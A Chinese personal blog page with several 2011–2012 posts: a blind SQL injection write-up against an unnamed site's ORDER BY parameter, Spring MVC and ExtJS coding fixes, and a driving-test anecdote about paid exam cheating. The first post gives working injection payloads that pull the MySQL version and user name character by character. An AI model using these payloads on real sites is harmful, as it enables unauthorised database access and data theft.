Neeke's Blog

MySQL盲注

Neeke — Thu, 05 Jan 2012 11:08:30 +0800

原文已经应要求删除了，后来想了想觉得我还是有必要记录一下的，只不过不再类似之前实战或现场直播带插图式，不提名挂号。更新一次博客不容易呀！

有个注入点接收如下几个参数：
category=4&limit1=0&limit2=1&order=desc&orderColumn=1
根据这几个参数，大致就可以猜出SQL语句如下：

SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0;

一般注入的时候都是用“category = 4 and where 1=2 union select …”或“limit 0,1 union select …”来改变结果集的，但从上面的SQL看来后者是不行的，因为在“order by”后面不能出现“union”，而category参数也做了过滤，也就行不通了。
现在只能在orderColumn这个参数上下功夫了，它改变不了查询结果，但是可以想办法它查询成功或查询出错，这样就可以盲注了，这里参考了一下老君的文章：http://www.oldjun.com/blog/index.php/archives/62/
然后开始拼装SQL：
查版本：
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名长度：
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1
查当前MySQL用户名第一个字符内容：
category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1
以此类推，什么库名，表明，字段，数据都能搞出来，只是手工盲注太累人了…
就这么着吧，不过感觉这东西还可以再深入研究。

Spring MVC ExtJS4文件上传

Neeke — Tue, 06 Dec 2011 10:16:57 +0800

做文件上传的时候遇到点麻烦，ExtJS上传文件要求服务器端返回的ContentType是“text/html”，而Spring MVC默认返回的是“application/json”，于是ExtJS这边总是报错说无法将”<pre>{success: true}</pre>”转换成JSON，很奇怪的一件事就是：为什么会出现pre标签呢？

先看看当前服务器端的代码：

public @ResponseBody Map<String, Object> upload(UserVO userVO){
	Map<String, Object> modelMap = new HashMap<String, Object>();
	if(!userVO.getUserPhoto().isEmpty()){
		userVO.getUserPhoto().transferTo(new File("文件存放路径"));
	}
	modelMap.put("success", true);
	return modelMap;
}

用上面这种方式处理的时候，文件上传了成功了，但是就会出现文章开头所描述的问题，于是我改成这样：

public void upload(UserVO userVO, HttpServletResponse response){
	String json = "{success: true}";
	response.setContentType("text/html");
	response.getWriter().write(json);
	response.flushBuffer();
}

现在，ExtJS不会报错了，也成功触发了Form的success事件，但是服务器端又报错了，说是无法找到”upload.jsp”，其实我请求的是”upload.action”，而且也成功响应了，但是不知道为什么，Spring貌似是将”action”替换成”jsp”又转发跳转了一下，百度谷歌无解！
其实，最最主要的就是能够将response的ContextType设置为“text/xml”就没问题了。参考Spring的文档找到解决办法如下：
方法一：

public ResponseEntity<String> upload(UserVO userVO){
	String json = "{success: true}";
	HttpHeaders responseHeaders = new HttpHeaders();
	responseHeaders.setContentType(MediaType.TEXT_HTML);
	return new ResponseEntity<String>(json, responseHeaders, HttpStatus.OK);
}

方法二：
先在messageConverters中配置StringHttpMessageConverter：

<bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter">
		<bean class="org.springframework.web.bind.support.ConfigurableWebBindingInitializer" />
	</property>
	<property name="messageConverters">
		<list>
			<bean class = "org.springframework.http.converter.StringHttpMessageConverter"> 
				<property name="supportedMediaTypes" value="text/html;charset=UTF-8" /> 
			</bean>
		</list>
	</property>
</bean>

然后在这样就OK了（注意：方法的返回类型必须是String）：

public @ResponseBody String upload(UserVO userVO){
	String json = "{success: true}";
	return json;
}

参考文档：http://static.springsource.org/spring/docs/3.0.x/spring-framework-reference/html/mvc.html
再补充一个可行的方法三：

public void upload(HttpServletResponse response, UserVO userVO){
		Map<String, Object> result = new HashMap<String, Object>(0);
		result.put("success", true);
		response.setContentType("text/html");
		ObjectMapper mapper = new ObjectMapper();
		mapper.writeValue(response.getOutputStream(), result);
}

问题解决了，但是还是不知道到底是哪出现的pre标签。

ExtJS 4.0.7 给Store增加批量数据恢复功能

Neeke — Thu, 01 Dec 2011 16:50:12 +0800

假设用GridPanel和Store完成一个用户管理的功能，现在要删除在GridPanel中已选中的记录，在Controller中实现方式大致如下：

var selModel = this.getGridPanel().getSelectionModel();
if(selModel.hasSelection()){
	this.getGridStore().remove(selModel.getSelection());
	this.getGridStore().sync();
}

当第三行代码执行完的时候，GridPanel中我们选中的那些记录就已经消失了，然后第四行开始与服务器端同步（删除）数据，同步要么成功要么就是失败，同步成功的话是没有问题的，但是失败的话就出现问题了：UI上被移除的数据不会再出现了。
既然官方的API没有提供这样的功能，那就只能自己来实现了，在store的proxy中可以监听exception事件进行处理：

listeners: {
	exception: function(proxy, response, operation, eOpts){
		var error = operation.getError();
		if(error.status){
			error = error.status + ' ' + error.statusText;
		}
		Ext.Msg.show({title: '操作失败', msg: error, buttons: Ext.Msg.OK, icon: Ext.Msg.WARNING});
		//如果是删除操作就恢复被删除的数据
		if(operation.action == 'destroy'){
			Ext.each(operation.records, function(record){
				Ext.getStore('User').insert(record.lastIndex || 0, record);
			});
		}
	}
}

现在删除失败的话就不会消失不出现了，但是新问题来了：
第一次删除u1失败了，然后u1被恢复，紧接着再删除u2也失败了，可以看到此时GridPanel中有两个u1和一个u2。
经过阅读Store源码发现里面有一个名为removed的数组，里面存放着所有的被删除的数据，在同步的时候要删除的数据就是从它里面取的，如果同步失败的话它不会被清空，就出现上面的问题了。
当然，不只是删除会出现这种问题，增加以及修改也存在这种问题。要处理的话还得去判断operation的action然后做相应的处理，而且定义的其它的Store都得这么来做，不如直接给官方那个Store增加一个数据恢复的方法：

/**
 * @author Neeke
 * @date 2011-11-30 下午5:06:11
 * @email root[at]ineeke.com
 * @function 给Store增加恢复数据的方法
 */
Ext.data.Store.implement({
 
	//恢复数据
	restore: function(){
 
		//恢复被删除的数据
		Ext.each(this.removed, function(record){
			this.insert(record.lastIndex || 0, record);
		}, this);
 
		//恢复被修改的数据
		Ext.each(this.getUpdatedRecords(), function(record) {
			record.reject();
		}, this);
 
		//删除新添加的数据
		this.remove(this.getNewRecords());
 
		//恢复所有数据到原始值
		this.each(function(record) {
			record.reject();
		}, this);
 
		this.removed = [];
	}
});

用法：

listeners: {
	exception: function(proxy, response, operation, eOpts){
		var error = operation.getError();
		if(error.status){
			error = error.status + ' ' + error.statusText;
		}
		Ext.Msg.show({title: '操作失败', msg: error, buttons: Ext.Msg.OK, icon: Ext.Msg.WARNING});
		Ext.getStore('User').restore();
	}
}

现在再试试增删改全都没问题了。

ExtJS 4.0.7 TreeStore original is undefined

Neeke — Sat, 12 Nov 2011 21:20:54 +0800

最近又开始写ExtJS了，用的是最新版本ExtJS4.0.7，这玩意现在也开始搞MVC分层了，了解了一下感觉还不错！以前使用2.X系列的时候虽然也自己定义并规范化了一些，但是整体代码感觉有些乱，界面和事件处理以及数据都在一起，而且扩展起来也不太方便，现在使用这种MVC的方式确实不错！

由于有半年多没接触过ExtJS了，现在不光分了MVC而且，API也有不小的变化，消失了一些类又多了一些类，不过还是挺好上手的，也许是因为以前用过吧。下面说说这几天在使用TreeStore遇到的一个问题。
情景是这样的：在已有的树上增加一个节点，然后执行TreeStore的sync()方法与服务器进行同步后报错“original is undefined”。
这个操作完成后，树上（界面）已经添加成功，查看数据库也一样是成功添加了，服务器返回的JSON也没有问题，可是它就是报错！检查发现，这个错出现在TreeStore源码的onUpdateRecords方法中的“parentNode = original.parentNode;”这一句上。源码如下：

onUpdateRecords: function(records, operation, success){
	if (success) {
		var me = this,
		i = 0,
		length = records.length,
		data = me.data,
		original,
		parentNode,
		record;
		for (; i < length; ++i) {
			record = records[i];
			original = me.tree.getNodeById(record.getId());
			parentNode = original.parentNode;
			if (parentNode) {
				// prevent being added to the removed cache
				original.isReplace = true;
				parentNode.replaceChild(record, original);
				original.isReplace = false;
			}
		}
            });
	}
}

服务器端返回的JSON格式是这样的：

1	{success: true, data: [{id: 100, text: '新节点', leaf: true, parentId: 90}]}

我觉得这个方法应该是在返回的JSON中success为true时，将data中的数据逐一替换掉UI上相应的节点（因为新节点先在UI上出现，然后才同步到服务器），而这时候“original = me.tree.getNodeById(record.getId())”却始终找不到相应的节点，为什么呢？我想是这样的：
添加节点的代码是：

var node = {text: '新节点', leaf: true};
parentNode.appendChild(node);
store.sync();

当“parentNode.appendChild(node);”执行完毕，UI上便出现了新增加的node，而且store中也多出了一条记录，当sync()被执行并接收到服务器端返回到JSON，便开始执行onUpdateRecords方法了，而这时候，UI上那个node的id默认是“0”，而服务器端返回的数据中id是“100”，所以就找不到了！这样一想，官方的这个是不是有点太不符合逻辑了？返回的JSON中不是有parentId吗！直接用它找到父节点，再通过父节点找到其下最后一个子节点（这个就是新添加的节点）然后替换之。想明白了，开始动手override一下源码中到这个方法。

Ext.override(Ext.data.TreeStore, {
	onUpdateRecords: function(records, operation, success){
		if (success) {
			var me = this,
			i = 0,
			length = records.length,
			data = me.data,
			original,
			parentNode,
			record;
			for (; i < length; ++i) {
				record = records[i];
				parentNode = me.tree.getNodeById(record.data.parentId);
				original = parentNode.lastChild;
				if (parentNode) {
					// prevent being added to the removed cache
					original.isReplace = true;
					parentNode.replaceChild(record, original);
					original.isReplace = false;
					}
				}
				if (record.dirty) {
		                	record.commit();
		        	}
			}
		}
});

再把程序跑起来看看，没问题了！网上竟然没找到相关信息，难道就我遇到了？

学开车考驾照

Neeke — Sun, 30 Oct 2011 19:37:27 +0800

每周周末都去学开车，上了一周班，好不容易到周末了，时间又花到练车上了，想好好休息一下都不行。之前有时候我在想”为啥马路杀手那么多”，我想现在有点答案了。考驾照理论考试完全是个形式，100道题满分100，90才及格，虽说有点接受不了，但是想想说白了”开车就是玩命”，你不懂游戏规则肯定害人害己。话说我这个驾校(应该是报名点)很不负责啊！啥资料都不给，也没提前通知，突然某天晚上打电话说让第二天去考理论(或许这也算是提前了吧)。第二天早上赶紧给公司打电话请假，然后坐着驾校的车去考点，到了考点，我靠！来考试的人真多！考场里的答题机器，windows xp系统，一个指纹识别器，一个鼠标，一个摄像头，一个类似银行柜台输密码的小键盘，普通的大屁股显示器，IE6上显示着一个网页，就是那答题系统的登录界面。嗯…坏毛病又犯了，地址栏是个内外IP，程序是用Java开发的，没有工具栏，没有菜单栏，页面用JS屏蔽掉了右键以及其它一些快捷键。本来想法是看看有没有可能搞进去，然后直接改数据库，不过我的理智完胜了这邪恶的念头，还是老老实实答题吧。输入身份证号，输入指纹，登录系统，各种判断，各种选择，各种交警动作识别后，我以69分结束了战斗！好吧，下午补考。话说这分数我还是挺满意的！因为几乎考前没看过资料，完全是靠常识。驾校的人说” 给200块，下午考试包过，你坐在那只需用脸挡住视频，有人给你答题。不然考不过，以后再想补考就不止是200块的问题了，很麻烦的！”听周围其他来考试的人也是三五扎堆的谈论这个问题。好吧，哥认了！等啊等，第一波人考完试都已经到晚上7点多了，这才开始补考，我都怀疑是不是第一波考试的人都没过啊！补考的人怎么也这么多！一个人200，光我前面就排了有800个人左右，这全算下来，那还不赚大发了！再次答题，双手搭桌上，盯着显示器，脸正对着视频，旁边有个MM伸出一只手在那小键盘上噼里啪啦按着，不出一分钟，100道题答完了，然后就去给其他人答题了，咱需要做的就是冲着视频傻坐着，等开考15分钟后直接出考场走人。唉！过了是过了！但是咱还是得好好找资料学习啊！安全第一啊！最后，TMD！现在这都是啥狗屁社会啊！真和谐！

您可能也喜欢：
无意中入侵一台Windows Server 2008	黑色小亮的博客是这么被XXOO的	多思路WEB入侵	WEB服务器与数据库服务器分离情况下的入侵	高中母校网站被黑客LJ了
无觅

您可能也喜欢：
Spring MVC 文件上传	Spring MVC+Hibernate自动注入sessionFactory	Spring MVC	Spring中Bean的作用域	Spring依赖注入
无觅

您可能也喜欢：
C#数据集	ASP.NET数据绑定	Spring数据源的灵活配置巧应用	数据源控件的使用	Ext GridPanel数据分页服务器数据交互
来自无觅网络的相关文章：
Android平台上四种保存数据的方法 (@getideas)	海量数据实时计算随笔 (@flychen)	深入浅出 MVC 数据验证 2.0 [附演示源码] (@dozer)	海量数据处理方法总结 (@flychen)	如何让数据说话！ —网站实例分析 (@flychen)
无觅

您可能也喜欢：
将JavaBean及List集合转换为JSON	拆迁&告别	JavaScript变量作用域	Ext DatePicker大小自适应	ExtJS GridPanel动态列
无觅